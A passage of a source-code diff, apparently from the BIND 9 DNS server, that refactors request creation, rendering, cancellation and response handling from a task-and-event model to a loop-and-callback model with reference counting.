-	isc_timertype_t timertype;
-
-	isc_interval_set(&interval, timeout, 0);
-	result = isc_time_nowplusinterval(&expires, &interval);
-	isc_interval_set(&interval, udpresend, 0);
-
-	timertype = udpresend != 0 ? isc_timertype_limited : isc_timertype_once;
-	if (result == ISC_R_SUCCESS) {
-		result = isc_timer_reset(timer, timertype, &expires, &interval,
-					 false);
+		result = udp_dispatch(requestmgr, srcaddr, destaddr, dispatchp);
 	}
 	return (result);
 }
@@ -680,90 +399,72 @@ set_timer(isc_timer_t *timer, unsigned int timeout, unsigned int udpresend) {
 isc_result_t
 dns_request_createraw(dns_requestmgr_t *requestmgr, isc_buffer_t *msgbuf,
 		      const isc_sockaddr_t *srcaddr,
-		      const isc_sockaddr_t *destaddr, isc_dscp_t dscp,
-		      unsigned int options, unsigned int timeout,
-		      unsigned int udptimeout, unsigned int udpretries,
-		      isc_task_t *task, isc_taskaction_t action, void *arg,
-		      dns_request_t **requestp) {
+		      const isc_sockaddr_t *destaddr,
+		      dns_transport_t *transport,
+		      isc_tlsctx_cache_t *tlsctx_cache, unsigned int options,
+		      unsigned int timeout, unsigned int udptimeout,
+		      unsigned int udpretries, isc_loop_t *loop, isc_job_cb cb,
+		      void *arg, dns_request_t **requestp) {
 	dns_request_t *request = NULL;
-	isc_task_t *tclone = NULL;
-	isc_socket_t *sock = NULL;
 	isc_result_t result;
-	isc_mem_t *mctx;
+	isc_mem_t *mctx = NULL;
 	dns_messageid_t id;
 	bool tcp = false;
 	bool newtcp = false;
-	bool share = false;
 	isc_region_t r;
-	bool connected = false;
 	unsigned int dispopt = 0;
 
 	REQUIRE(VALID_REQUESTMGR(requestmgr));
 	REQUIRE(msgbuf != NULL);
 	REQUIRE(destaddr != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(action != NULL);
+	REQUIRE(loop != NULL);
+	REQUIRE(cb != NULL);
 	REQUIRE(requestp != NULL && *requestp == NULL);
 	REQUIRE(timeout > 0);
+	REQUIRE(udpretries != UINT_MAX);
+
 	if (srcaddr != NULL) {
 		REQUIRE(isc_sockaddr_pf(srcaddr) == isc_sockaddr_pf(destaddr));
 	}
 
 	mctx = requestmgr->mctx;
 
-	req_log(ISC_LOG_DEBUG(3), "dns_request_createraw");
+	req_log(ISC_LOG_DEBUG(3), "%s", __func__);
 
-	if (isblackholed(requestmgr->dispatchmgr, destaddr)) {
-		return (DNS_R_BLACKHOLED);
-	}
-
-	request = NULL;
-	result = new_request(mctx, &request);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	rcu_read_lock();
 
-	if (udptimeout == 0 && udpretries != 0) {
-		udptimeout = timeout / (udpretries + 1);
-		if (udptimeout == 0) {
-			udptimeout = 1;
-		}
+	if (atomic_load_acquire(&requestmgr->shuttingdown)) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto done;
 	}
-	request->udpcount = udpretries;
-	request->dscp = dscp;
 
-	/*
-	 * Create timer now.  We will set it below once.
-	 */
-	result = isc_timer_create(requestmgr->timermgr, isc_timertype_inactive,
-				  NULL, NULL, task, req_timeout, request,
-				  &request->timer);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
+	if (isblackholed(requestmgr->dispatchmgr, destaddr)) {
+		result = DNS_R_BLACKHOLED;
+		goto done;
 	}
 
-	request->event = (dns_requestevent_t *)isc_event_allocate(
-		mctx, task, DNS_EVENT_REQUESTDONE, action, arg,
-		sizeof(dns_requestevent_t));
-	isc_task_attach(task, &tclone);
-	request->event->ev_sender = task;
-	request->event->request = request;
-	request->event->result = ISC_R_FAILURE;
-
 	isc_buffer_usedregion(msgbuf, &r);
 	if (r.length < DNS_MESSAGE_HEADERLEN || r.length > 65535) {
 		result = DNS_R_FORMERR;
-		goto cleanup;
+		goto done;
 	}
 
 	if ((options & DNS_REQUESTOPT_TCP) != 0 || r.length > 512) {
 		tcp = true;
 	}
-	share = (options & DNS_REQUESTOPT_SHARE);
+
+	request = new_request(mctx, loop, cb, arg, tcp, timeout, udptimeout,
+			      udpretries);
+
+	isc_buffer_allocate(mctx, &request->query, r.length + (tcp ? 2 : 0));
+	result = isc_buffer_copyregion(request->query, &r);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
 
 again:
-	result = get_dispatch(tcp, newtcp, share, requestmgr, srcaddr, destaddr,
-			      dscp, &connected, &request->dispatch);
+	result = get_dispatch(tcp, newtcp, requestmgr, srcaddr, destaddr,
+			      &request->dispatch);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
@@ -773,216 +474,145 @@ dns_request_createraw(dns_requestmgr_t *requestmgr, isc_buffer_t *msgbuf,
 		dispopt |= DNS_DISPATCHOPT_FIXEDID;
 	}
 
-	result = dns_dispatch_addresponse(
-		request->dispatch, dispopt, destaddr, task, req_response,
-		request, &id, &request->dispentry, requestmgr->socketmgr);
+	result = dns_dispatch_add(
+		request->dispatch, loop, dispopt, request->timeout, destaddr,
+		transport, tlsctx_cache, req_connected, req_senddone,
+		req_response, request, &id, &request->dispentry);
 	if (result != ISC_R_SUCCESS) {
 		if ((options & DNS_REQUESTOPT_FIXEDID) != 0 && !newtcp) {
-			newtcp = true;
-			connected = false;
 			dns_dispatch_detach(&request->dispatch);
+			newtcp = true;
 			goto again;
 		}
-		goto cleanup;
-	}
-
-	sock = req_getsocket(request);
-	INSIST(sock != NULL);
 
-	isc_buffer_allocate(mctx, &request->query, r.length + (tcp ? 2 : 0));
-	if (tcp) {
-		isc_buffer_putuint16(request->query, (uint16_t)r.length);
-	}
-	result = isc_buffer_copyregion(request->query, &r);
-	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
 	/* Add message ID. */
 	isc_buffer_usedregion(request->query, &r);
-	if (tcp) {
-		isc_region_consume(&r, 2);
-	}
 	r.base[0] = (id >> 8) & 0xff;
 	r.base[1] = id & 0xff;
 
-	LOCK(&requestmgr->lock);
-	if (requestmgr->exiting) {
-		UNLOCK(&requestmgr->lock);
-		result = ISC_R_SHUTTINGDOWN;
-		goto cleanup;
+	request->destaddr = *destaddr;
+	request->flags |= DNS_REQUEST_F_CONNECTING;
+	if (tcp) {
+		request->flags |= DNS_REQUEST_F_TCP;
 	}
-	requestmgr_attach(requestmgr, &request->requestmgr);
-	request->hash = mgr_gethash(requestmgr);
-	ISC_LIST_APPEND(requestmgr->requests, request, link);
-	UNLOCK(&requestmgr->lock);
 
-	result = set_timer(request->timer, timeout, tcp ? 0 : udptimeout);
-	if (result != ISC_R_SUCCESS) {
-		goto unlink;
-	}
+	dns_requestmgr_attach(requestmgr, &request->requestmgr);
+	ISC_LIST_APPEND(requestmgr->requests[request->tid], request, link);
 
-	request->destaddr = *destaddr;
-	if (tcp && !connected) {
-		result = isc_socket_connect(sock, destaddr, task, req_connected,
-					    request);
-		if (result != ISC_R_SUCCESS) {
-			goto unlink;
-		}
-		request->flags |= DNS_REQUEST_F_CONNECTING | DNS_REQUEST_F_TCP;
-	} else {
-		result = req_send(request, task, connected ? NULL : destaddr);
-		if (result != ISC_R_SUCCESS) {
-			goto unlink;
-		}
+	dns_request_ref(request); /* detached in req_connected() */
+	result = dns_dispatch_connect(request->dispentry);
+	if (result != ISC_R_SUCCESS) {
+		dns_request_unref(request);
+		goto cleanup;
 	}
 
-	req_log(ISC_LOG_DEBUG(3), "dns_request_createraw: request %p", request);
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
 	*requestp = request;
-	return (ISC_R_SUCCESS);
-
-unlink:
-	LOCK(&requestmgr->lock);
-	ISC_LIST_UNLINK(requestmgr->requests, request, link);
-	UNLOCK(&requestmgr->lock);
 
 cleanup:
-	if (tclone != NULL) {
-		isc_task_detach(&tclone);
+	if (result != ISC_R_SUCCESS) {
+		req_cleanup(request);
+		dns_request_detach(&request);
+		req_log(ISC_LOG_DEBUG(3), "%s: failed %s", __func__,
+			isc_result_totext(result));
 	}
-	req_destroy(request);
-	req_log(ISC_LOG_DEBUG(3), "dns_request_createraw: failed %s",
-		dns_result_totext(result));
+
+done:
+	rcu_read_unlock();
 	return (result);
 }
 
 isc_result_t
 dns_request_create(dns_requestmgr_t *requestmgr, dns_message_t *message,
-		   const isc_sockaddr_t *address, unsigned int options,
-		   dns_tsigkey_t *key, unsigned int timeout, isc_task_t *task,
-		   isc_taskaction_t action, void *arg,
+		   const isc_sockaddr_t *srcaddr,
+		   const isc_sockaddr_t *destaddr, dns_transport_t *transport,
+		   isc_tlsctx_cache_t *tlsctx_cache, unsigned int options,
+		   dns_tsigkey_t *key, unsigned int timeout,
+		   unsigned int udptimeout, unsigned int udpretries,
+		   isc_loop_t *loop, isc_job_cb cb, void *arg,
 		   dns_request_t **requestp) {
-	return (dns_request_createvia(requestmgr, message, NULL, address, -1,
-				      options, key, timeout, 0, 0, task, action,
-				      arg, requestp));
-}
-
-isc_result_t
-dns_request_createvia(dns_requestmgr_t *requestmgr, dns_message_t *message,
-		      const isc_sockaddr_t *srcaddr,
-		      const isc_sockaddr_t *destaddr, isc_dscp_t dscp,
-		      unsigned int options, dns_tsigkey_t *key,
-		      unsigned int timeout, unsigned int udptimeout,
-		      unsigned int udpretries, isc_task_t *task,
-		      isc_taskaction_t action, void *arg,
-		      dns_request_t **requestp) {
 	dns_request_t *request = NULL;
-	isc_task_t *tclone = NULL;
-	isc_socket_t *sock = NULL;
 	isc_result_t result;
-	isc_mem_t *mctx;
+	isc_mem_t *mctx = NULL;
 	dns_messageid_t id;
-	bool tcp;
-	bool share;
-	bool settsigkey = true;
-	bool connected = false;
+	bool tcp = false;
 
 	REQUIRE(VALID_REQUESTMGR(requestmgr));
 	REQUIRE(message != NULL);
 	REQUIRE(destaddr != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(action != NULL);
+	REQUIRE(loop != NULL);
+	REQUIRE(cb != NULL);
 	REQUIRE(requestp != NULL && *requestp == NULL);
 	REQUIRE(timeout > 0);
+	REQUIRE(udpretries != UINT_MAX);
+
+	if (srcaddr != NULL &&
+	    isc_sockaddr_pf(srcaddr) != isc_sockaddr_pf(destaddr))
+	{
+		return (ISC_R_FAMILYMISMATCH);
+	}
 
 	mctx = requestmgr->mctx;
 
-	req_log(ISC_LOG_DEBUG(3), "dns_request_createvia");
+	req_log(ISC_LOG_DEBUG(3), "%s", __func__);
 
-	if (srcaddr != NULL &&
-	    isc_sockaddr_pf(srcaddr) != isc_sockaddr_pf(destaddr)) {
-		return (ISC_R_FAMILYMISMATCH);
+	rcu_read_lock();
+
+	if (atomic_load_acquire(&requestmgr->shuttingdown)) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto done;
 	}
 
 	if (isblackholed(requestmgr->dispatchmgr, destaddr)) {
-		return (DNS_R_BLACKHOLED);
+		result = DNS_R_BLACKHOLED;
+		goto done;
 	}
 
-	request = NULL;
-	result = new_request(mctx, &request);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+	if ((options & DNS_REQUESTOPT_TCP) != 0) {
+		tcp = true;
 	}
 
-	if (udptimeout == 0 && udpretries != 0) {
-		udptimeout = timeout / (udpretries + 1);
-		if (udptimeout == 0) {
-			udptimeout = 1;
-		}
+	request = new_request(mctx, loop, cb, arg, tcp, timeout, udptimeout,
+			      udpretries);
+
+	if (key != NULL) {
+		dns_tsigkey_attach(key, &request->tsigkey);
 	}
-	request->udpcount = udpretries;
-	request->dscp = dscp;
 
-	/*
-	 * Create timer now.  We will set it below once.
-	 */
-	result = isc_timer_create(requestmgr->timermgr, isc_timertype_inactive,
-				  NULL, NULL, task, req_timeout, request,
-				  &request->timer);
+	result = dns_message_settsigkey(message, request->tsigkey);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
-	request->event = (dns_requestevent_t *)isc_event_allocate(
-		mctx, task, DNS_EVENT_REQUESTDONE, action, arg,
-		sizeof(dns_requestevent_t));
-	isc_task_attach(task, &tclone);
-	request->event->ev_sender = task;
-	request->event->request = request;
-	request->event->result = ISC_R_FAILURE;
-	if (key != NULL) {
-		dns_tsigkey_attach(key, &request->tsigkey);
-	}
-
-use_tcp:
-	tcp = ((options & DNS_REQUESTOPT_TCP) != 0);
-	share = ((options & DNS_REQUESTOPT_SHARE) != 0);
-	result = get_dispatch(tcp, false, share, requestmgr, srcaddr, destaddr,
-			      dscp, &connected, &request->dispatch);
+again:
+	result = get_dispatch(tcp, false, requestmgr, srcaddr, destaddr,
+			      &request->dispatch);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
-	result = dns_dispatch_addresponse(
-		request->dispatch, 0, destaddr, task, req_response, request,
-		&id, &request->dispentry, requestmgr->socketmgr);
+	result = dns_dispatch_add(request->dispatch, loop, 0, request->timeout,
+				  destaddr, transport, tlsctx_cache,
+				  req_connected, req_senddone, req_response,
+				  request, &id, &request->dispentry);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
-	sock = req_getsocket(request);
-	INSIST(sock != NULL);
 
 	message->id = id;
-	if (settsigkey) {
-		result = dns_message_settsigkey(message, request->tsigkey);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-	}
 	result = req_render(message, &request->query, options, mctx);
-	if (result == DNS_R_USETCP && (options & DNS_REQUESTOPT_TCP) == 0) {
-		/*
-		 * Try again using TCP.
-		 */
+	if (result == DNS_R_USETCP && !tcp) {
+		/* Try again using TCP. */
 		dns_message_renderreset(message);
-		dns_dispatch_removeresponse(&request->dispentry, NULL);
+		dns_dispatch_done(&request->dispentry);
 		dns_dispatch_detach(&request->dispatch);
-		sock = NULL;
 		options |= DNS_REQUESTOPT_TCP;
-		settsigkey = false;
-		goto use_tcp;
-	}
-	if (result != ISC_R_SUCCESS) {
+		tcp = true;
+		goto again;
+	} else if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
@@ -991,53 +621,35 @@ dns_request_createvia(dns_requestmgr_t *requestmgr, dns_message_t *message,
 		goto cleanup;
 	}
 
-	LOCK(&requestmgr->lock);
-	if (requestmgr->exiting) {
-		UNLOCK(&requestmgr->lock);
-		result = ISC_R_SHUTTINGDOWN;
-		goto cleanup;
+	request->destaddr = *destaddr;
+	request->flags |= DNS_REQUEST_F_CONNECTING;
+	if (tcp) {
+		request->flags |= DNS_REQUEST_F_TCP;
 	}
-	requestmgr_attach(requestmgr, &request->requestmgr);
-	request->hash = mgr_gethash(requestmgr);
-	ISC_LIST_APPEND(requestmgr->requests, request, link);
-	UNLOCK(&requestmgr->lock);
 
-	result = set_timer(request->timer, timeout, tcp ? 0 : udptimeout);
-	if (result != ISC_R_SUCCESS) {
-		goto unlink;
-	}
+	dns_requestmgr_attach(requestmgr, &request->requestmgr);
+	ISC_LIST_APPEND(requestmgr->requests[request->tid], request, link);
 
-	request->destaddr = *destaddr;
-	if (tcp && !connected) {
-		result = isc_socket_connect(sock, destaddr, task, req_connected,
-					    request);
-		if (result != ISC_R_SUCCESS) {
-			goto unlink;
-		}
-		request->flags |= DNS_REQUEST_F_CONNECTING | DNS_REQUEST_F_TCP;
-	} else {
-		result = req_send(request, task, connected ? NULL : destaddr);
-		if (result != ISC_R_SUCCESS) {
-			goto unlink;
-		}
+	dns_request_ref(request); /* detached in req_connected() */
+	result = dns_dispatch_connect(request->dispentry);
+	if (result != ISC_R_SUCCESS) {
+		dns_request_unref(request);
+		goto cleanup;
 	}
 
-	req_log(ISC_LOG_DEBUG(3), "dns_request_createvia: request %p", request);
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
 	*requestp = request;
-	return (ISC_R_SUCCESS);
-
-unlink:
-	LOCK(&requestmgr->lock);
-	ISC_LIST_UNLINK(requestmgr->requests, request, link);
-	UNLOCK(&requestmgr->lock);
 
 cleanup:
-	if (tclone != NULL) {
-		isc_task_detach(&tclone);
+	if (result != ISC_R_SUCCESS) {
+		req_cleanup(request);
+		dns_request_detach(&request);
+		req_log(ISC_LOG_DEBUG(3), "%s: failed %s", __func__,
+			isc_result_totext(result));
 	}
-	req_destroy(request);
-	req_log(ISC_LOG_DEBUG(3), "dns_request_createvia: failed %s",
-		dns_result_totext(result));
+done:
+	rcu_read_unlock();
+
 	return (result);
 }
 
@@ -1048,28 +660,26 @@ req_render(dns_message_t *message, isc_buffer_t **bufferp, unsigned int options,
 	isc_buffer_t *buf2 = NULL;
 	isc_result_t result;
 	isc_region_t r;
-	bool tcp = false;
 	dns_compress_t cctx;
-	bool cleanup_cctx = false;
+	unsigned int compflags;
 
 	REQUIRE(bufferp != NULL && *bufferp == NULL);
 
-	req_log(ISC_LOG_DEBUG(3), "request_render");
+	req_log(ISC_LOG_DEBUG(3), "%s", __func__);
 
 	/*
 	 * Create buffer able to hold largest possible message.
 	 */
 	isc_buffer_allocate(mctx, &buf1, 65535);
 
-	result = dns_compress_init(&cctx, -1, mctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+	compflags = 0;
+	if ((options & DNS_REQUESTOPT_LARGE) != 0) {
+		compflags |= DNS_COMPRESS_LARGE;
 	}
-	cleanup_cctx = true;
-
 	if ((options & DNS_REQUESTOPT_CASE) != 0) {
-		dns_compress_setsensitive(&cctx, true);
+		compflags |= DNS_COMPRESS_CASE;
 	}
+	dns_compress_init(&cctx, mctx, compflags);
 
 	/*
 	 * Render message.
@@ -1099,23 +709,15 @@ req_render(dns_message_t *message, isc_buffer_t **bufferp, unsigned int options,
 		goto cleanup;
 	}
 
-	dns_compress_invalidate(&cctx);
-	cleanup_cctx = false;
-
 	/*
 	 * Copy rendered message to exact sized buffer.
 	 */
 	isc_buffer_usedregion(buf1, &r);
-	if ((options & DNS_REQUESTOPT_TCP) != 0) {
-		tcp = true;
-	} else if (r.length > 512) {
+	if ((options & DNS_REQUESTOPT_TCP) == 0 && r.length > 512) {
 		result = DNS_R_USETCP;
 		goto cleanup;
 	}
-	isc_buffer_allocate(mctx, &buf2, r.length + (tcp ? 2 : 0));
-	if (tcp) {
-		isc_buffer_putuint16(buf2, (uint16_t)r.length);
-	}
+	isc_buffer_allocate(mctx, &buf2, r.length);
 	result = isc_buffer_copyregion(buf2, &r);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
@@ -1124,71 +726,35 @@ req_render(dns_message_t *message, isc_buffer_t **bufferp, unsigned int options,
 	/*
 	 * Cleanup and return.
 	 */
+	dns_compress_invalidate(&cctx);
 	isc_buffer_free(&buf1);
 	*bufferp = buf2;
 	return (ISC_R_SUCCESS);
 
 cleanup:
 	dns_message_renderreset(message);
+	dns_compress_invalidate(&cctx);
 	if (buf1 != NULL) {
 		isc_buffer_free(&buf1);
 	}
 	if (buf2 != NULL) {
 		isc_buffer_free(&buf2);
 	}
-	if (cleanup_cctx) {
-		dns_compress_invalidate(&cctx);
-	}
 	return (result);
 }
 
-/*
- * If this request is no longer waiting for events,
- * send the completion event.  This will ultimately
- * cause the request to be destroyed.
- *
- * Requires:
- *	'request' is locked by the caller.
- */
-static void
-send_if_done(dns_request_t *request, isc_result_t result) {
-	if (request->event != NULL && !request->canceling) {
-		req_sendevent(request, result);
-	}
-}
-
-/*
- * Handle the control event.
- */
-static void
-do_cancel(isc_task_t *task, isc_event_t *event) {
-	dns_request_t *request = event->ev_arg;
-	UNUSED(task);
-	INSIST(event->ev_type == DNS_EVENT_REQUESTCONTROL);
-	LOCK(&request->requestmgr->locks[request->hash]);
-	request->canceling = false;
-	if (!DNS_REQUEST_CANCELED(request)) {
-		req_cancel(request);
-	}
-	send_if_done(request, ISC_R_CANCELED);
-	UNLOCK(&request->requestmgr->locks[request->hash]);
-}
-
 void
 dns_request_cancel(dns_request_t *request) {
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 
-	req_log(ISC_LOG_DEBUG(3), "dns_request_cancel: request %p", request);
-
-	REQUIRE(VALID_REQUEST(request));
-
-	LOCK(&request->requestmgr->locks[request->hash]);
-	if (!request->canceling && !DNS_REQUEST_CANCELED(request)) {
-		isc_event_t *ev = &request->ctlevent;
-		isc_task_send(request->event->ev_sender, &ev);
-		request->canceling = true;
+	if (DNS_REQUEST_COMPLETE(request)) {
+		/* The request callback was already called */
+		return;
 	}
-	UNLOCK(&request->requestmgr->locks[request->hash]);
+
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
+	req_sendevent(request, ISC_R_CANCELED); /* call asynchronously */
 }
 
 isc_result_t
@@ -1197,15 +763,12 @@ dns_request_getresponse(dns_request_t *request, dns_message_t *message,
 	isc_result_t result;
 
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 	REQUIRE(request->answer != NULL);
 
-	req_log(ISC_LOG_DEBUG(3), "dns_request_getresponse: request %p",
-		request);
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
 
-	result = dns_message_setquerytsig(message, request->tsig);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_message_setquerytsig(message, request->tsig);
 	result = dns_message_settsigkey(message, request->tsigkey);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
@@ -1223,6 +786,7 @@ dns_request_getresponse(dns_request_t *request, dns_message_t *message,
 isc_buffer_t *
 dns_request_getanswer(dns_request_t *request) {
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 
 	return (request->answer);
 }
@@ -1230,228 +794,190 @@ dns_request_getanswer(dns_request_t *request) {
 bool
 dns_request_usedtcp(dns_request_t *request) {
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 
 	return ((request->flags & DNS_REQUEST_F_TCP) != 0);
 }
 
 void
 dns_request_destroy(dns_request_t **requestp) {
-	dns_request_t *request;
-
 	REQUIRE(requestp != NULL && VALID_REQUEST(*requestp));
 
-	request = *requestp;
+	dns_request_t *request = *requestp;
 	*requestp = NULL;
 
-	req_log(ISC_LOG_DEBUG(3), "dns_request_destroy: request %p", request);
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
 
-	LOCK(&request->requestmgr->lock);
-	LOCK(&request->requestmgr->locks[request->hash]);
-	ISC_LIST_UNLINK(request->requestmgr->requests, request, link);
-	INSIST(!DNS_REQUEST_CONNECTING(request));
-	INSIST(!DNS_REQUEST_SENDING(request));
-	UNLOCK(&request->requestmgr->locks[request->hash]);
-	UNLOCK(&request->requestmgr->lock);
-
-	/*
-	 * These should have been cleaned up by req_cancel() before
-	 * the completion event was sent.
-	 */
-	INSIST(!ISC_LINK_LINKED(request, link));
-	INSIST(request->dispentry == NULL);
-	INSIST(request->dispatch == NULL);
-	INSIST(request->timer == NULL);
-
-	req_destroy(request);
-}
-
-/***
- *** Private: request.
- ***/
-
-static isc_socket_t *
-req_getsocket(dns_request_t *request) {
-	unsigned int dispattr;
-	isc_socket_t *sock;
-
-	dispattr = dns_dispatch_getattributes(request->dispatch);
-	if ((dispattr & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-		INSIST(request->dispentry != NULL);
-		sock = dns_dispatch_getentrysocket(request->dispentry);
-	} else {
-		sock = dns_dispatch_getsocket(request->dispatch);
+	if (DNS_REQUEST_COMPLETE(request)) {
+		dns_request_cancel(request);
 	}
 
-	return (sock);
+	/* final detach to shut down request */
+	dns_request_detach(&request);
 }
 
 static void
-req_connected(isc_task_t *task, isc_event_t *event) {
-	isc_socketevent_t *sevent = (isc_socketevent_t *)event;
-	isc_result_t result;
-	dns_request_t *request = event->ev_arg;
+req_connected(isc_result_t eresult, isc_region_t *region ISC_ATTR_UNUSED,
+	      void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
 
-	REQUIRE(event->ev_type == ISC_SOCKEVENT_CONNECT);
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 	REQUIRE(DNS_REQUEST_CONNECTING(request));
 
-	req_log(ISC_LOG_DEBUG(3), "req_connected: request %p", request);
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p: %s", __func__, request,
+		isc_result_totext(eresult));
 
-	LOCK(&request->requestmgr->locks[request->hash]);
 	request->flags &= ~DNS_REQUEST_F_CONNECTING;
 
-	if (DNS_REQUEST_CANCELED(request)) {
-		/*
-		 * Send delayed event.
-		 */
-		if (DNS_REQUEST_TIMEDOUT(request)) {
-			send_if_done(request, ISC_R_TIMEDOUT);
-		} else {
-			send_if_done(request, ISC_R_CANCELED);
-		}
-	} else {
-		dns_dispatch_starttcp(request->dispatch);
-		result = sevent->result;
-		if (result == ISC_R_SUCCESS) {
-			result = req_send(request, task, NULL);
-		}
+	if (DNS_REQUEST_COMPLETE(request)) {
+		/* The request callback was already called */
+		goto detach;
+	}
 
-		if (result != ISC_R_SUCCESS) {
-			req_cancel(request);
-			send_if_done(request, ISC_R_CANCELED);
-		}
+	if (eresult == ISC_R_SUCCESS) {
+		req_send(request);
+	} else {
+		req_sendevent(request, eresult);
 	}
-	UNLOCK(&request->requestmgr->locks[request->hash]);
-	isc_event_free(&event);
+
+detach:
+	/* attached in dns_request_create/_createraw() */
+	dns_request_unref(request);
 }
 
 static void
-req_senddone(isc_task_t *task, isc_event_t *event) {
-	isc_socketevent_t *sevent = (isc_socketevent_t *)event;
-	dns_request_t *request = event->ev_arg;
+req_senddone(isc_result_t eresult, isc_region_t *region ISC_ATTR_UNUSED,
+	     void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
 
-	REQUIRE(event->ev_type == ISC_SOCKEVENT_SENDDONE);
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 	REQUIRE(DNS_REQUEST_SENDING(request));
 
-	req_log(ISC_LOG_DEBUG(3), "req_senddone: request %p", request);
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
 
-	UNUSED(task);
-
-	LOCK(&request->requestmgr->locks[request->hash]);
 	request->flags &= ~DNS_REQUEST_F_SENDING;
 
-	if (DNS_REQUEST_CANCELED(request)) {
-		/*
-		 * Send delayed event.
-		 */
-		if (DNS_REQUEST_TIMEDOUT(request)) {
-			send_if_done(request, ISC_R_TIMEDOUT);
-		} else {
-			send_if_done(request, ISC_R_CANCELED);
-		}
-	} else if (sevent->result != ISC_R_SUCCESS) {
-		req_cancel(request);
-		send_if_done(request, ISC_R_CANCELED);
+	if (DNS_REQUEST_COMPLETE(request)) {
+		/* The request callback was already called */
+		goto detach;
 	}
-	UNLOCK(&request->requestmgr->locks[request->hash]);
 
-	isc_event_free(&event);
+	if (eresult != ISC_R_SUCCESS) {
+		req_sendevent(request, eresult);
+	}
+
+detach:
+	/* attached in req_send() */
+	dns_request_unref(request);
 }
 
 static void
-req_response(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	dns_request_t *request = event->ev_arg;
-	dns_dispatchevent_t *devent = (dns_dispatchevent_t *)event;
-	isc_region_t r;
+req_response(isc_result_t eresult, isc_region_t *region, void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
 
-	REQUIRE(VALID_REQUEST(request));
-	REQUIRE(event->ev_type == DNS_EVENT_DISPATCH);
+	if (eresult == ISC_R_CANCELED) {
+		return;
+	}
 
-	UNUSED(task);
+	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 
-	req_log(ISC_LOG_DEBUG(3), "req_response: request %p: %s", request,
-		dns_result_totext(devent->result));
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p: %s", __func__, request,
+		isc_result_totext(eresult));
 
-	LOCK(&request->requestmgr->locks[request->hash]);
-	result = devent->result;
-	if (result != ISC_R_SUCCESS) {
-		goto done;
+	if (DNS_REQUEST_COMPLETE(request)) {
+		/* The request callback was already called */
+		return;
 	}
 
-	/*
-	 * Copy buffer to request.
-	 */
-	isc_buffer_usedregion(&devent->buffer, &r);
-	isc_buffer_allocate(request->mctx, &request->answer, r.length);
-	result = isc_buffer_copyregion(request->answer, &r);
-	if (result != ISC_R_SUCCESS) {
-		isc_buffer_free(&request->answer);
+	switch (eresult) {
+	case ISC_R_TIMEDOUT:
+		if (request->udpcount > 1 && !dns_request_usedtcp(request)) {
+			request->udpcount -= 1;
+			dns_dispatch_resume(request->dispentry,
+					    request->timeout);
+			if (!DNS_REQUEST_SENDING(request)) {
+				req_send(request);
+			}
+			return;
+		}
+		break;
+	case ISC_R_SUCCESS:
+		/* Copy region to request. */
+		isc_buffer_allocate(request->mctx, &request->answer,
+				    region->length);
+		eresult = isc_buffer_copyregion(request->answer, region);
+		if (eresult != ISC_R_SUCCESS) {
+			isc_buffer_free(&request->answer);
+		}
+		break;
+	default:
+		break;
 	}
-done:
-	/*
-	 * Cleanup.
-	 */
-	dns_dispatch_removeresponse(&request->dispentry, &devent);
-	req_cancel(request);
-	/*
-	 * Send completion event.
-	 */
-	send_if_done(request, result);
-	UNLOCK(&request->requestmgr->locks[request->hash]);
+
+	req_sendevent(request, eresult);
 }
 
 static void
-req_timeout(isc_task_t *task, isc_event_t *event) {
-	dns_request_t *request = event->ev_arg;
-	isc_result_t result;
-
-	REQUIRE(VALID_REQUEST(request));
+req_sendevent_cb(void *arg) {
+	dns_request_t *request = arg;
 
-	req_log(ISC_LOG_DEBUG(3), "req_timeout: request %p", request);
+	request->cb(request);
+	dns_request_unref(request);
+}
 
-	UNUSED(task);
-	LOCK(&request->requestmgr->locks[request->hash]);
-	if (event->ev_type == ISC_TIMEREVENT_TICK && request->udpcount-- != 0) {
-		if (!DNS_REQUEST_SENDING(request)) {
-			result = req_send(request, task, &request->destaddr);
-			if (result != ISC_R_SUCCESS) {
-				req_cancel(request);
-				send_if_done(request, result);
-			}
-		}
-	} else {
-		request->flags |= DNS_REQUEST_F_TIMEDOUT;
-		req_cancel(request);
-		send_if_done(request, ISC_R_TIMEDOUT);
+static void
